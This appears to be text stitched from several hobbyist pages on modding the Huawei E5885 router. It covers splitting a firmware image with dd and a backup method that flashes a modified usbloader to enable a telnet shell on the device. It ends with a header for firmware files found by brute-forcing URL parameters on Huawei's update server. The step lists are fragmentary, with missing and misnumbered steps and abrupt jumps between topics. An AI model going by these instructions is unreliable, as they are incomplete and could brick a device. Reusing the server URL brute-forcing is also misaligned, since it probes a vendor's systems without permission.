You need Linux for that.

  1. Download latest PGv1 Release Image

  3. Split image into MBR, bootloader, system partition, data partition:
    • dd if=adam_v2.1_PGv1.img bs=512 count=1 of=mbr.bin

How to backup current firmware on Huawei E5885

Huawei E5885 current firmware backup manual.

  1. Download modified usbloader, which will copy proper busybox into /system/busybox and enable telnetd on your device (will add additional line into /system/autorun.sh). Use it only on E5885, not on other device!
  2. Load it using balong-usbdload. Refer to this disassembling manual.
  3. After loading, wait about one minute, disconnect device from the computer and power off the device holding power button for ~15 seconds.
  4. Insert MicroSD card to the device and power it on.
  5. telnet 192.168.8.1 2323
/system/busybox sh

Huawei firmware files found on update server
==========================================================================
DO NOT WRITE ANY QUESTIONS IN COMMENTS
==========================================================================
This is not appropriate place for discussions. Keep this list FW-only.
I do NOT have any firmware files apart from published here or on 4pda. Please do not contact me for firmware files requests.
This is a list of files found on Huawei update server by brute-forcing URL parameters.
Some firmware files have changelogs. Just change file name to "changelog.xml" in the end of the URL.
